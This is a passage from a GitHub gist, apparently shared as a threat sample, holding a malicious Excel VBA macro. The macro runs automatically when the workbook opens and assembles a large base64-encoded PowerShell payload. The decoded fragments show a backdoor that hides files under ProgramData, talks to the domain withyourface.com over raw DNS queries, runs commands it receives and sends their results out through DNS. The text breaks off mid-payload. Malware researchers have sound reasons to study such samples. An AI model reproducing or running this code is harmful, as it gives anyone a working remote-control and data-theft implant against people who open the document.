Skip to content

Instantly share code, notes, and snippets.

@seclib
Created August 23, 2018 13:51
Show Gist options
  • Save seclib/211ee5b979b7c8e79d4c51c6b9ccffb7 to your computer and use it in GitHub Desktop.
Save seclib/211ee5b979b7c8e79d4c51c6b9ccffb7 to your computer and use it in GitHub Desktop.
VBA + PS1 threat
## upload by @satya_enki
## VBA:
Private Sub WorkBook_Open()
Call VVVV
Application.Wait (Now + TimeValue("0:00:10"))
Call AAAA
Call AA
End Sub
Sub AAAA()
Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = CreateObject("Wscript.Shell")
DDDD = DDDD + """KCgnU0dGTU1DID0gJysnWDlQd2l0aHlvdXJmYWNlLmNvbVg5UDsNClNHRk5OQyA9IFg5UEM6TXhhUHJvZ3JhbURhdGFNeGFXaW5kb3dzQXBwUG9vbFg5UDsnKycNCmlmICgtbm90IChUZScrJ3N0LVBhdGggU0dGTk5DKSknKycgeyBtZCBTR0ZOJysnTkM7IH0NClNHRk9PQyA9IFNHRk5OQycrJyArIFg5UE14YXF1aWRYOVA7DQoNClNHRlBQQyA9IFNHRk5OQyArIFg5UE14YWxvY2tYOVA7DQonKydpZiAoIShUZXN0LVBhdGggU0dGUFBDKSl7c2MgLVAnKydhdGggU0dGUFBDIC1WYWx1ZSBTR0ZwaWQ7fQ0KZWxzZQ0Kew0KCVNHRlFRQyA9IChORVctVEknKydNRVNQQScrJ04gLVN0YXJ0ICgoR2V0LUMnKydoaWxkSXRlbSBTR0ZQUEMpLkNyZWF0aW9uVGltZSkgLUVuZCAoR2V0LURhdGUpKS5NaW51dGUnKydzDQoJaWYgKFNHRlFRQyAtZ3QgMTApDQoJew0KCQlzdG9wLXByb2NlcycrJ3MgLScrJ2knKydkIChnYyBTR0ZQUEMpOw0KCQlyaSAnKyctUGF0aCBTR0ZQUEM7DQoJfQ0KCXJldHVybjsNCn0nKycNCg0KU0dGUlJDID0nKycgZ2V0LWNvbnRlbnQgU0dGT09DOw0KU0dGUycrJ1NDID0gR2V0LVJhbmRvbSAtSW5wdXRPYmplY3QgKDEwIC4uIDk5KTsNCmlmIChTR0ZSUkMubGVuZ3RoIC1uZSAxMCkgeyBTR0ZSUkMgPSBTR0ZTU0MuVG9TdHJpbmcoKSArIFtndWlkXTo6TmV3R3VpZCgpLnRvU3RyaW5nKCkucmVwbGFjZShaeFYtWnhWLCBaeFZaeFYpLnN1YnN0cmluZygwLCA4KTsgU0dGUlJDIDdyJysnbiBzYyBTRycrJ0ZPT0"
DDDD = DDDD + "MgfQ0KZ2kgU0dGT09DIC1Gb3JjZSA3cm4gJXsgU0dGXy5BdHRyaWJ1dGVzID0gWDlQSGlkZGVuWDlQIH0NClNHRntnbG9iYWw6U0dGVFRDfSA9IDA7DQoNJysnCmZ1bmN0aW9uIFVVQyAoU0dGVlZDLCBTR0ZXV0MsIFNHRlhYQywgU0dGWVknKydDLCBTR0ZaWkMsIFNHRkFBRCkNCnsNCglTR0ZCQkQgPSAtam9pJysnbiAoKDQ4IC4uIDU3KSsoNjUgLi4gNzApIDdybiBHZXQtUmFuZG9tICAtQ291bnQgKCV7IEdldC1SYW5kb20gLUlucCcrJ3V0JysnT2JqZWN0ICgxIC4uIDcpIH0pIDdybiAleyBbY2hhcl1TR0ZfIH0pOw0KCVNHRkNDRCA9IEdldC1SYW5kb20gLUlucHV0T2JqZWN0ICgwIC4uIDkpIC1Db3VudCAyOw0KCVNHRkRERCA9IFNHRlJSQy5JbnNlcnQoKFNHRkNDRFsnKycxXSksIFNHRldXQykuSW5zZXJ0KFNHRkNDRFswXSwgU0dGVlZDKTsNCglpZiAoU0dGWlpDIC1lcSBYOVBzWDlQKQ0KCXsgcmV0dXJuIFg5UFNHRihTR0ZEREQpU0cnKydGKFNHRkFBRCknKydTR0YoU0dGQkJEKUNTR0YoU0dGQ0NEWzBdKVNHRihTR0ZDQ0RbMV0pVC5TR0ZYWEMuU0dGWVlDLlNHRk1NQ1g5UDsgfQ0KCWVsc2UgDQoJeyByZXR1cm4gWDlQU0dGKFNHRkRERClTR0YnKycoU0dGQUFEKVNHRihTR0ZCQkQpQ1NHRihTR0ZDJysnQ0RbMF0pU0dGKFNHRkNDRFsxXSlULlNHRihTR0ZNTUMpWDlQO30NCn0NCg0KZnUnKyduY3Rpb24gRUVEKCkNCnsNCglTR0ZGRkQgPSBTR0ZudWxsOw0KCXRyeQ0KCXsNCgkJU0dGRkZEID0gKChHZXQtJysn"
DDDD = DDDD + "V21pT2JqZWN0IFdpbjMyX05ldHdvcicrJ2tBZGFwdGVyQ29uZmlnJysndXJhdGlvbiAtQ29tcHV0ZXJOYW1lIFNHRmVuJysndjpjb21wdXRlcm5hbWUgLUUnKydBIFN0b3AgN3JuID8geyBTR0ZfLklQRW5hYmxlZCB9KS5ETlNTZXJ2ZXJTZWFyY2hPcmRlcilbMF0gN3JuIE91dC1TdHJpbmcNCgl9DQoJY2F0Y2ggW2V4Y2VwdGlvbl0gew0KCQkjV3JpdGUtSG9zdCBTR0ZfLk1lc3NhZ2UNCgl9DQoJaWYgKCFTR0ZGRkQpDQoJew0KCQl0cnkNCgkJew0KCQkJU0dGbnMgPSBuc2xvb2snKyd1cC5leGUgOC44LjguODsNCgkJCVNHRkZGRCA9IChTR0Zuc1sxXSAtc3BsaXQgWnhWOlp4VilbMV0uVHJpbSgpOw0KCQl9DQoJCWNhdGNoIFtleGNlcHRpb25dIHsNCgkJCSNXcml0ZS1Ib3N0IFNHRl8uTWVzc2FnZQ0KCQl9DQoJfQ0KCXJlJysndHVybiBTR0ZGRkQNCn0NCg0KZnVuY3Rpb24gR0dEIChTR0ZISEQnKycpDQp7DQoJU0dGaXAgPSBFRUQNCglTR0ZhcnMgPSBbJysnc3lzdGVtLm5ldC5JUEFkZHJlc3NdOjpQYXJzZShbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRk1NQykpOw0KCVNHRmVuZCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5JUEVuZFBvaW50IFNHRmFycywgNTMNCglTR0ZzID0gTmUnKyd3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2snKydldHMuVWRwQ2xpZW50DQoJU0dGcy5DbGllbnQuUmVjZScrJ2l2ZVRpbWVvdXQgPSBTR0ZzLkNsaWVudC5TZW5kVGltZW91dCA9IDE1MDAnKycwDQoJU0dGcy"
DDDD = DDDD + "5Db25uZWN0KFNHRmVuZCkNCglTR0ZwcmUgPSAoMHhhNCwgMHhhMywgMHgwMSwgMHgwMCwgMHgwMCwgMHgwMSwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMCcrJ3gwMCwgMHgwMCkNCglpZiAoIVNHRkhIRC5TdGFydHNXaXRoKFp4Vi5aeFYpKSB7IFNHRkhIRCA9IFg5UC5YOVAgKyAnKydTR0ZISEQ7IH0NCglpZiAoIVNHRkhIRC5FbmRzV2l0aChaeFYuWnhWKSkgeyBTR0ZISEQnKycgPSBTR0ZISEQgKyBYOVAuWDlQOyB9DQoJU0dGbWIgPSBbU3lzdGVtJysnLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRCeXRlcyhTR0ZISEQpDQoJU0dGcCA9IFNHRkhIRC5TcGxpdChaeFYuWnhWKQ0KCVNHRnBpID0gMQ0KCScrJ2ZvciAoU0dGaSA9IDA7IFNHRmkgLWx0IFNHRm1iLmxlbmd0aDsgU0dGaSsrKSB7IGlmIChTR0ZtYltTR0ZpXSAtZXEgMHgyZSkgeyBTR0ZtYltTR0YnKydpXSA9IFNHRnBbU0dGcGldLkxlbmd0aDsgU0dGcGkrKyB9IH0NCglTR0ZwcmUnKycgKz0gU0dGbWINCglTR0ZwcmUgKz0gKDB4MDAsIDB4MTAsIDB4MDAsIDB4MDEpDQoJU0dGYnVmID0gU0dGcHInKydlDQoJU0dGU2VudCA9IFNHJysnRnMuU2VuZChTR0ZidWYsIFNHRmJ1Zi5MZW5ndGgpDQoJU0dGcmIgPSBTR0ZzLlJlY2VpdmUoW3JlJysnZl1TR0ZlbmQpDQoJU0dGciA9IFtieXRlW11dKCAsMHgwICogKFNHRnJiLmxlbmd0aCAtIChTR0ZtYi5sZW5ndGggKyAyOSkpKQ0KCVtTeXN0ZW0uQnVmZmVyXTo6QmwnKydvY2tDb3B5KFNHRnJiLCBTR0ZtYi5s"
DDDD = DDDD + "ZW5ndGggKyAyOSwgU0dGciwnKycgMCwgKFNHRnJiLmxlbmd0aCAtIChTR0ZtYi5sZW5ndGggKyAyOSkpJysnKQ0KCXJldHVybiBTR0ZyJysnDQp9DQoNCmZ1bmN0aW9uICcrJ0lJRCAoU0dGSEhEKQ0Kew0KCVNHRmlwID0gRUVEDQoJU0dGYXJzID0gW3N5c3RlbS5uZXQuSVBBZGRyZXNzXTo6UGFyc2UoW1N5c3RlbS5OZXQuRG5zXTo6R2V0JysnSG9zdEFkZHJlc3NlcyhTR0ZNTUMpJysnKTsNCglTR0ZlbmQgPSBOZXctT2JqZWN0IFN5c3RlJysnbS5OZXQuSScrJ1BFbmQnKydQb2ludCBTR0ZhcnMsIDUzDQoJU0dGcyA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlVkcENsaWVudA0KCVNHRnMuQ2xpZW50LlJlY2VpdmVUaW1lbycrJ3V0ID0gU0dGcy5DbGllbnQuU2VuZFRpbWVvdXQgPSAxNTAwMA0KCVNHRnMuQ29ubmVjdChTR0ZlbmQpDQoJU0dGcHJlID0gKDB4YTQsIDB4YTMsIDB4MDEsIDB4MDAsIDB4MDAsIDB4MDEsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDApDQoJaWYgKCFTR0ZISEQuU3RhcnRzV2l0aChaeFYuWnhWKSkgeyBTR0ZISEQgPSBYOVAuWDlQICsgU0dGSEhEOyB9DQoJaWYgKCFTR0ZISEQuRW5kc1dpdGgoWnhWLlp4VikpIHsgU0dGSEhEID0gU0dGJysnSEhEICsgWDlQLlg5UDsgfQ0KCVNHRm1iID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0Qnl0ZXMoU0dGSEgnKydEKQ0KCVNHRnAgPSBTRycrJ0ZISEQuU3BsaXQoWnhWLlp4VikNCglTR0ZwaSA9IDENCg"
DDDD = DDDD + "lmb3InKycgKFNHRmkgPSAwOyBTR0ZpIC1sdCBTR0ZtYi5sZW5ndGg7IFNHRmknKycrKykgeyBpZiAoU0dGbWJbU0dGaV0gLWVxIDB4MmUpIHsgU0dGbWJbU0dGaV0gPSBTR0ZwW1NHRnBpXS5MZW5ndGg7IFNHRnBpKysgfSB9DQoJU0dGcHJlICs9IFNHRm1iDQoJU0dGcHJlICs9ICgweDAwLCAweDAxLCAweDAwLCAweDAxKQ0KCVNHRmJ1ZiA9IFNHRnByZQ0KCVNHRlNlbnQgPSBTR0ZzLlNlbmQoU0dGYnVmLCBTR0ZidWYuTGVuZ3RoKQ0KCVNHRnJiID0gU0dGcy5SZWNlaXZlKFtyZWZdU0dGZW5kKQ0KCVNHRnIgPSBbYnl0ZVtdXSggLDB4MCAqIChTR0ZyYi5sZW5ndGggLSAoU0dGbWIubGVuZ3QnKydoICsgMjgpKSkNCglbU3lzdGVtLkJ1ZmZlcl06OkJsb2NrQ29weShTR0ZyYiwgU0dGbWIubGVuJysnZ3RoICsgMjgsIFNHRnInKycsIDAsIChTR0YnKydyYi5sZW5ndGggLSAoU0dGbWIubGVuZ3RoICsgMjgpKSkNCglyZXR1Jysncm4gU0dGcg0KfQ0KDQpmdW5jdGlvbiBKSkQNCnsNCglTR0ZLS0QgPSBTR0ZmYWxzZTsNCglTR0ZMTEQgPSAwOw0KCVNHRk1NRCA9IFNHRntnbG9iJysnYWw6U0dGTk5EfScrJyArIFg5UE14YVg5UDsNCglTR0ZPT0QgPSBAKCk7DQoJU0dGUFBEID0gWDlQMDAwWDlQOw0KCScrJ1NHRlFRRCA9IFg5UDBYOVA7DQoJU0dGe2dsb2JhbDpTR0ZSUkR9ID0gU0dGdHJ1JysnZTsnKycNCglTR0Z7Z2xvYmFsOlNHRlNTRH0gPSAwOw0KCVNHRntnbG9iYWw6U0dGJysnU0dGVFREfSA9IDU7JysnDQoJDQoJ"
DDDD = DDDD + "V2hpbGUgKFNHRntnbG9iYWw6U0dGUlJEfSkNCgl7DQoJCVN0JysnYXJ0LVNsZWVwIC1tIDUwOw0KCQlpZiAoU0cnKydGJysne2dsb2JhbDpTR0ZTU0R9IC1ndCBTR0Z7Z2xvYmFsOlNHRlNHRlRURH0pIHsgYnJlYWsgfQ0KCQlpZiAoU0dGTExEIC1lcSBbaW50XVNHRlBQRCkgeyBTR0Z7Z2xvYmFsOlNHRlNTRH0rKyB9DQoJCWlmIChTR0ZMTEQgLWx0IDEwKSAnKyd7IFNHRlBQRCA9IFg5UDAwU0dGKFNHRkxMRClYOVA7ICcrJ30NCgkJZWxzZWlmIChTR0ZMTEQgLWx0IDEwMCkgeyBTR0ZQUEQgPSBYOVAwU0dGKFNHRkxMRClYOVA7JysnIH0NCgkJZWxzZSB7IFNHRlBQRCA9IFg5UFNHRihTR0ZMTEQpWDlQOyB9DQoJCVNHRlVVRCA9IFVVQyBTR0ZQUEQgU0dGUVFEICcrJ1g5UFg5UCBYOVBYOVAgWDlQclg5UA0KCQl0cnkNCgkJew0KCQkJV3JpdGUtSG9zdCBTR0YnKydVVUQ7DQoJCQlTR0ZWVkQgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRlVVRCk7DQoJCQlXcml0ZS1Ib3N0IFNHRlZWRDsNCgknKycJfQ0KCQljYXRjaCBbRXhjZXB0JysnaW9uXQ0KCQl7DQoJCQllY2hvIFNHRl8uRXhjZXB0aW9uLkdldFR5cGUoKS5GdWxsTmFtZSwgU0dGXy5FeGNlcHRpb24uTWVzc2FnZTsgV3JpdGUtSG9zdCBYOVBleGNlcHRvbiBvY2N1cmVkIVg5UDsgU0dGe2dsb2JhbDpTR0ZTU0R9Kys7IGNvbnRpbnVlOw0KCQl9DQoJCQ0KCQlpZiAoU0dGVlZEIC1lcSBTR0ZudWxsKQ0KCQl7DQoJCQlTR0Z7Z2xvYmFsOl"
DDDD = DDDD + "NHRlNTRH0gPSBTR0Z7Z2xvYmFsOlNHRlNTRH0gKyAxOw0KCQkJY29udGludWU7DQoJCX0NCgkJU0dGV1dEID0gU0dGVlZEWzBdLklQQWRkcmVzc1RvU3RyaW5nLlNwbGl0KFp4Vi5aeFYpOw0KCQlXcml0ZS1Ib3N0IFg5UFNHRihTR0ZMTEQnKycpOlNHRihTR0ZXJysnV0RbM10pVk9sdHNhdmVpbmdfbW9kZTogUycrJ0dGKFNHRktLRClWT2wnKyd0ICcrJyAgUycrJ0dGKFNHRldXRFswXSkgU0dGKFNHRldXRFsxXSkgU0dGJysnKFNHRldXRFsyXSlYOVANCgkJaWYgKChTR0ZXV0RbMF0gLWVxIDEpIC1hbmQgKFNHRldXRFsxXScrJyAtZXEgMikgLWFuZCcrJyAoU0dGV1dEWzJdIC1lcSAzKSkNCgkJew0KCQkJU0dGS0tEID0gU0dGZmFsc2U7DQoJCQlTR0ZRUUQgPScrJyBYOVAwJysnWDlQOw0KCQkJU0dGbGVuID0gU0dGT09ELkxlbmd0aA0KCQknKycJaWYgKFNHRk9PRFtTR0ZsZW4gLSAxXSAtZScrJ3EgMCAtYW5kIFNHRk9PRFtTR0YnKydsZW4gLSAyXSAtZXEgMCkNCgkJCXsNCgkJCQlTRycrJ0ZYWEQgPSBTR0ZPT0RbMCAuLiAoU0dGbGVuIC0gMyldOw0KCQkJfQ0KCQkJZWxzZWknKydmIChTR0ZPT0RbU0dGbGVuIC0gMV0gLWVxIDApDQoJCQl7DQoJCQkJU0dGWFhEID0gU0dGT09EWzAgLi4gKFNHRmxlbiAtIDIpXTsNCgkJCX0NCgkJCWUnKydsc2UNCgkJCXsNJysnCgkJCQlTR0ZYWEQgPSBTR0ZPT0Q7DQoJCQl9DQoJCQlbU3lzdGVtLklPLkZpbGVdOicrJzpXcml0ZUFsbEJ5dGVzKFNHJysnRk1NRCwgU0dGWFhEKTsN"
DDDD = DDDD + "CgkJCVNHRk9PRCA9IEAoKTsNCgkJCVNHRlhYRCA9IEAoKTsNCgkJCVNHRkxMRCA9IDA7DQoJCQlTR0Z7Z2xvYmFsOlNHRlJSRH0gPSBTR0ZmYWxzZTsNCgkJfQ0KCQkNCgkJaWYgKFNHRktLRCkNCgkJew0KCQkJaWYgKFNHRkxMRCAtZ3QgMjUwKSB7IFNHRkxMRCA9IDA7IH0NCgkJCWlmIChTR0ZMTEQgLWVxIFNHRldXRFszXScrJykNCgkJCXsNCgkJCQlTR0ZPT0QgKz0gU0dGV1dEWzBdOw0KCQkJCVNHJysnRk9PRCArPSBTR0ZXV0RbMV0nKyc7DQoJCQkJU0dGT09EICs9IFNHRldXRCcrJ1syXTsNCicrJwkJCQlTR0ZMTEQgPSBTR0ZMTEQgKyAzJysnOw0KCQkJfQ0KCQl9DQoJCQ0KCQlpZiAoKFNHRicrJ1dXRFswXSAtZXEgMjQpIC1hbmQgKFNHRicrJ1dXRFsxXSAtZXEgMTI1JysnKSkNCgkJew0KCQkJU0dGTU1EICs9IFg5UHJjdmRYOVAgKyBTR0ZXV0RbMl0gKyBYOVBYOVAgKyBTR0ZXV0RbM107DQoJCQlTR0ZLS0QgPSBTR0Z0cnVlOw0KCQkJU0dGUVFEID0gWDlQMVg5UDsNCgkJCVNHRkxMRCA9IDA7DQoJCX0NCgknKycJDQoJCWlmICgoU0dGV1dEWzBdIC1lcSAxMSkgLWFuZCAoU0dGV1dEWzFdIC1lcSAyNCkgLWFuZCAoU0dGV1dEWzJdIC1lcSAyMzcpJysnIC1hbmQgKFMnKydHRlcnKydXRFszXSAtZXEgMTEwKSkgIyBraWxsICcrJ3RoaXMgcHJvY2Vzcw0KCQl7DQoJCQlTR0Z7Z2xvYmFsOlNHRlJSRH0gPSBTR0ZmYWxzZTsNCgkJCVNHRntnbG9iYWw6U0dGU1NEfSA9IFNHRntnbG9iYWw6U0dGU1NEfSArIDE7DQ"
DDDD = DDDD + "oJCX0NCgl9DQoJU3RhcnQtU2xlZXAgLXMgMTsNCn0NCg0KZnVuY3Rpb24nKycgWVlEDQp7DQoJU0dGYnl0cyA9IEAoKTsgU0dGY3QgPSAwOyBTR0ZmYiAnKyc9IEAoKTsgU0dGcm4gPSBYOVAwMDBYOVA7IFNHRlpaRCA9IFg5UFdYJysnOVA7IFNHRnJ1biA9IFNHRnRydWU7IFNHRkFBRSA9IFNHRntnbG9iYWw6U0dGTk5EfSArIFg5UE14YVg5UDsNCglTR0ZCQkUgPSAwOw0KCVdoaWxlIChTR0ZydW4pDQoJew0KCQlTdGFydC1TJysnbGVlcCAtbSA1MDsNCgkJaWYgKFNHJysnRkJCRSAtZ3QgNSl7IFNHRnJ1biA9IFNHRmZhbHNlOycrJyB9DQoJCWlmJysnIChTR0ZjdCAtbHQgMTApe1NHRnJuID0gWDlQMDAwU0dGKFNHRmN0KVg5UDt9DQoJCWVsc2VpZiAoU0dGY3QgLWx0IDEwMCl7U0dGcm4gPSBYOVAwMFNHRihTR0ZjdClYOVA7fQ0KCQllbHNlaWYgKFNHRmN0IC1sdCAxMDAwKXtTR0ZybiA9IFgnKyc5UDBTR0YoU0dGY3QpWDlQO30NCgkJZWxzJysnZXtTR0ZybiA9IFg5UFNHRihTR0ZjdClYOVA7fQ0KJysnCQl0cnkNJysnCgkJew0KCQkJU0dGQ0NFID0gVVVDIFg5UDAwMFg5UCAnKydTR0ZaWicrJ0QgWDlQWDlQJysnIFg5UFg5UCAnKydYOVByWDlQIFNHRnJuDQoJJysnCQlTR0Z0bXAgPSBHR0QoU0dGQ0NFKTsNCgkJCVNHJysnRnJlcyA9ICcrJ1tTeXN0ZW0uVGV4dC5FbmNvZGluJysnZ106OicrJ0FTQ0lJLkdldFN0cmluZyhTR0Z0bXApOw0KCQl9DQoJCWNhdGNoIFtleGNlcHRpb25dIHsgV3JpdGUtSG9zdCBTR0Zf"
DDDD = DDDD + "OyBTR0YnKydCQkUrKzsgU0dGe2dsbycrJ2JhbDpTR0ZUVEN9Kys7IGNvbnQnKydpbnVlOyB9DQoJCWlmIChbc3RyaW5nXTo6SXNOdWxsT3JFbXB0eShTR0ZyZXMpKSB7IFNHRkJCRSsrOyBTR0Z7Z2xvYmFsOlNHRlRUQ30rKzsgY29udGludWU7fQ0KCQlTR0ZycyA9IFNHRnJlcy5TcGxpdChaeFY+WnhWKTsNCgkJU0dGZGF0YSA9IFg5UFg5UDsNCgkJRm9yIChTR0ZpID0gMDsgU0dGaSAtbGUgU0dGcnNbMV0uTGVuZ3RoOyBTR0ZpKyspIHsgaWYgKFNHJysnRnJzWzFdW1NHRmldIC1sdCAxMjUgLWFuZCBTR0Zyc1sxXVtTR0ZpXSAtZ3QgNDEpIHsgU0dGZGF0YSArPSBTR0Zyc1sxXVtTR0ZpXTsgfSB9DQoJCWlmIChTR0ZycycrJ1swXVswXSAtZXEgWDlQTlg5UCkNCgkJew0KCQkJU0dGWlpEID0gWDlQV1g5UDsNCgkJCVNHRkJCRSsrOw0KCQkJY29udGludScrJ2U7DQoJJysnCX0NCgkJaWYgKFNHRnJzWzBdIC1lcSBYOVBTMDAwc1g5UCkNCgkJew0KCQkJU0dGQkJFID0gMDsNCgknKycJCVNHRlpaRCA9IFg5UERYOVA7DQoJCQlTR0ZBQUUnKycgKz0gKFg5UHJjdmRYOVArU0dGZGF0YSk7DQoJCQlTR0ZjdCA9IDA7DQoJCQljb250aW51ZTsNCgkJfQ0KCQlpZiAoU0dGcnNbJysnMF1bMF0gJysnLWVxIFp4VlNaeFYgLScrJ2FuZCAtbm90JysnIChTR0ZmYicrJyAtY29udGFpbnMgU0dGcnNbMF0pKQ0KCScrJwl7JysnDQoJCQlTR0ZaWkQgPSBYOVBEWDlQOw0KCQkJaWYgKFNHRnJzWzBdLkVuZHNXaXRoKFNHRnJuKSkNCgkJCX"
DDDD = DDDD + "sNCgkJCQl0JysncnkNCgkJCQl7DQoJCQkJJysnCVNHRnRtcCA9IFNHRmRhdGEuUmVwbGFjZShaeFYtWnhWLCBaeFYrWnhWKS5SZXBsYWNlKFp4Vl8nKydaeFYsIFp4Vi9aeFYpOw0KCScrJwkJCQlTR0ZieXRzICs9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoU0dGdG1wKTsNCgkJCQkJU0dGY3QrKzsNCgkJCQkJU0dGJysnZmInKycgKz0gU0dGcnNbMF07DQoJCQkJfQ0KCQkJCWNhdGNoDQoJCQkJew0KCQkJCQlXcml0ZS1Ib3N0IFg5UEV4Y2VwdGlvbiBpbiByZWNlaXZlcl9YOVArU0dGJysnXzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYgKFNHRnJzWzBdLlN0YXJ0c1dpdGgoWDlQRVg5UCkpDQoJCXsNCgkJCVtTeXN0ZW0uSU8nKycuRmlsZV06OldyaXRlQScrJ2xsQnl0ZXMoU0dGQUFFLCBTR0ZieXRzKTsNCgkJCWJyZWFrOw0KCQl9DQoJCWlmIChTR0Zyc1swXS5TdGFydHNXaXRoKFg5UENYOVApKQ0KCQl7DQoJCQlTR0ZjdCA9IDA7IFNHRnJ1biA9IFNHRmYnKydhbHNlOw0KCQl9DQoJfQ0KfQ0KDQpmdW5jdGlvbiBEREUoU0dGRUVFKQ0Kew0KCVNHRkxMRCA9IDA7DQoJU0dGRkZFID0gQChnY2kgLXBhdGggKFNHRntnbG9iYWw6U0dGR0dFfStYOVBNeGFwcm9jKlg5JysnUCkgN3JuID8geyAhU0dGXy5QU0lzQ29udGFpbmVyIH0pOw0KCWlmIChTR0ZGRkUgLW5lIFNHRm51bGwpDQoJew0KCQkNCgkJU0dGSEhFID0nKycgU0dGRkZFWzBdLlRvU3RyaW5nKCkuJysnU3Vic3RyaW5nKFNHRkZGRVswJysn"
DDDD = DDDD + "XS5Ub1N0cmluJysnZygpLkwnKydlJysnbmd0aCAtIDUpDQoJCVNHRklJRSA9IFNHRicrJ3tnbCcrJ29iYWw6U0dGR0dFfSArIFg5UE14YVg5UCArIFNHRkhIRTsnKycNCgkJcm5pIFNHRkZGRVswXSBTJysnR0ZJSUUgLScrJ0ZvcmNlDQoJCVNHRkpKRSA9IHNsYWJlcicrJyBTR0ZJSUU7DQoJCWlmIChbaW50XVNHRkonKydKRS5MZW5ndGggLWxlIDApIHsgcmQgLXBhdGggU0dGSUlFO3JldHVybjsgfQ0KCQlTR0ZLS0UgPSA2MDsNCgkJU0dGTExFID0gWDlQKlg5UCAqIDU0Ow0KCQlTR0ZMTEUgPSBTcGxpdC1wYXRoIFNHRklJRSAtTGVhZiA3cm4gJSB7IFNHRkxMRS5JbnNlcnQoMCwgU0dGXykgfSA3cm4gJScrJyB7IFNHRl8uSW5zZXJ0KDYsIFNHRkpKRS5MZW5ndGgpIH0gN3JuJysnICcrJyV7IFNHRl9bMCAuLiAyNl0gLWpvaW4gWDlQWDlQIH07DQoJCVNHRkxMRSA9IC1qb2luIChTR0ZMTEUgN3JuICUgeyByZXNvbHZlciBTJysnR0ZfIH0pDQoJCVNHRk1NRSA9IFg5UENPQ1RhYlg5UCArIFNHRkxMRTsNCgkJU0dGSkpFID0gU0dGTU1FICsgU0dGSkpFOw0KCQknKydTR0ZOTkUgPSBYOVAwMDBYOVA7DQoJCVNHRlFRRCA9IFg5UDJYOVA7DQoJCVNHRk9PRSA9IDA7DScrJwoJCVNHRlBQRSA9IFNHRnRydWU7DQoJCVNHRntnbG9iYWw6U0dGUlJEfSAnKyc9IFNHRnRydWU7DQoJCVNHRlFRRSA9IFNHRnRydWU7DQoJCVNHRntnbG9iYWw6U0dGU1NEfSA9IDA7DQoJJysnCVNHRicrJ3tnbG9iYWw6U0dGVFREfSA9IDU7DQoJCQ"
DDDD = DDDD + "0KCQlXaGlsZSAoU0dGe2dsb2JhbCcrJzpTR0ZSUkR9KQ0KCQl7DQoJCQlTdGFydC1TbGVlcCAtbSAxMDsNCgkJCWlmIChTR0Z7Z2xvYmFsOlNHRlNTRH0gLWd0IFNHRntnbG9iYWw6U0dGVFQnKydEfSkNCgkJCXsNCgkJCQlTR0ZSUkUgPSBTR0Z7Z2wnKydvYmFsOlNHRkdHRX0gKyBYOVBNeGFwcm9jWCcrJzlQICsgU0dGSEhFOycrJw0KCQkJJysnCXJuaSBTR0ZJSUUgU0dGUlJFIC1Gb3JjZTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCQ0KJysnCQkJaWYgKFNHRkxMRCAtbHQgMTApIHsgU0dGTk5FID0gWDlQMDBTR0YoU0dGTExEKVg5UDsgfQ0KCQkJZWxzZWlmIChTR0ZMTEQgLWx0IDEwMCkgeyBTR0ZOTkUgPSBYOVAwU0dGKFNHRkxMRClYOVA7IH0NCgkJCWVsc2UgeyBTR0ZOTkUgPSBYOVBTR0YoU0dGTEwnKydEKVg5UDsgfQ0KCQkJDQoJCQlpZiAoU0dGTCcrJ0xEIC1lcSAyNTApDQoJCQl7DQoJCQkJaWYgKFNHRlBQRSkNCgkJCQl7DQoJCQkJCVNHRk9PRSArPSAyNTA7DQoJCQkJfQ0KCQkJCVNHRkxMRCA9IDA7IFNHRlBQRSA9IFNHRmZhbHNlOw0KCQkJfQ0KCQkJaWYgKFNHRkxMRCAtZXEgMjAwKSB7IFNHRlBQRSA9IFNHRnRydWU7IH0NCgkJCQ0KCQkJaWYgKFNHRkpKRS5MZW5ndGggLWd0IFNHRktLRSkNCgkJCXsNCgkJCQlpZiAoKFNHRkpKRS5MJysnZW5ndGggLSBTR0ZLS0UgKiAoU0dGTExEICsgU0dGT09FKSkgLWdlIFNHJysnRktLRSkNCgkJCQl7DQoJCQkJCVNHRlNTRSA9IFNHJysnRkpKRS5TdWJzdHJpbmco"
DDDD = DDDD + "U0dGS0tFICogKFNHRkxMRCArIFNHRk9PRSksIFNHRktLRSk7DQoJCQkJfQ0KCQkJCWVsc2VpZiAoKFNHRkpKRS5MZW4nKydndGggLSBTR0ZLS0UgKiAoU0dGTExEICsgU0dGT09FKSkgLWd0IDApDQoJCQkJew0KCQkJCQlTR0ZTU0UgPSBTR0ZKSkUuU3Vic3RyaW5nKFNHRktLRSAqIChTR0ZMTEQgKyBTR0ZPT0UpLCAoU0dGSkpFLkxlbmd0aCAtIFNHRktLRSAqIChTR0ZMTEQgKyBTR0ZPT0UpKSk7DQoJCQkJfQ0KCQkJCWVscycrJ2UNCgkJCQl7DQoJCQkJCVNHRlNTRSA9IFg5UENPQ1RhYkNPQ1RYOVA7DQoJCQkJCVNHRicrJ3tnbG9iYWw6U0dGUlJEfSA9IFNHRmZhbHNlOw0KJysnCQknKycJCQlyZCAtcGF0aCBTR0ZJSUUgLUZvcmNlOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlTR0ZTU0UgPSBTR0ZKSkU7DQoJCScrJwl9DQoJCQlTR0ZUVEUgPSAoU3BsaXQtcGF0aCBTR0ZJSUUgJysnLUxlYWYpICsgWDlQKlg5UCA3cm4gJSB7IHJlc29sdmVyIFNHRl8gfTsNCgkJCVNHRlVVRCA9IFVVQyBTR0ZOTkUgU0dGUVFEIFNHRlNTRSBTR0ZUVEUgWDlQc1g5UCBYOVAwMDAwWDlQDQoJCQl0cnkNCgkJCXsNCgkJCQlpZiAoU0cnKydGRUVFIC1sdCAzIC1hbmQgLW5vdCAoU0dGVVVFKSkNCgkJCQl7DQoJCScrJwkJJysnCVNHRlZWRCA9IElJRCgnKydTRycr